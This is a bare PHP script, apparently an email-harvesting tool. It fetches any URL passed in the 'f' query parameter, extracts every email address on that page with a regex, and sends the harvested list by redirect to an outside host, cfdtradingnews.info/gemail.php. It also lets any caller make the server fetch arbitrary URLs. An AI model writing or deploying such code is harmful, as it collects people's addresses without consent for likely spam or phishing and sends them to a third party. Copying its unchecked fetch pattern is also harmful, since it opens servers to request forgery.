<?php
$f = $_GET['f'];
$url="http://www.cfdtradingnews.info/gemail.php";
if (isset($_GET['f'])) {
	if (substr($f,0,4)=="http")
		$furl = $f;
	else
		$furl = "http://".$f;
	$file = file_get_contents($furl);
	if ($file === false) {
		echo "error loading";
	} else {
		//echo $file;
		$e = extract_emails($file."");
		if ($e) {
			redirect($url."?w=".$f."&e=".$e);
		}
		echo $e;
	}
	
}
echo "OK";
function extract_emails($string) {
	$pattern = '/[a-z0-9_\-\+]+@[a-z0-9\-]+\.([a-z]{2,3})(?:\.[a-z]{2})?/i';
	preg_match_all($pattern, $string, $matches);
	if ($matches[0]) {
		$m = ",";
		for ($i=0; $i<count($matches[0]);$i++) {
			$p=strpos($m,",".$matches[0][$i].",");
			if ($p === false )
				$m.=$matches[0][$i].",";
		}
		return $m;
	}
	else
		return "";
}
function extract_email_address ($string) {
   $emails = array();
   $string = str_replace("\r\n",' ',$string);
   $string = str_replace("\n",' ',$string);
   foreach(preg_split('/ /', $string) as $token) {
        $email = filter_var($token, FILTER_VALIDATE_EMAIL);
		echo $email;
        if ($email !== false) { 
            $emails[] = $email;
        }
    }
    if (count($emails)>0)
		return implode(",",$emails);
	else
		return "<none>";
}
function redirect($url){
    if (headers_sent()){
      die('<script type="text/javascript">window.location=\'' . $url . '\';</script>');
    }else{
      header('Location: ' . $url);
      die();
    }    
}
?>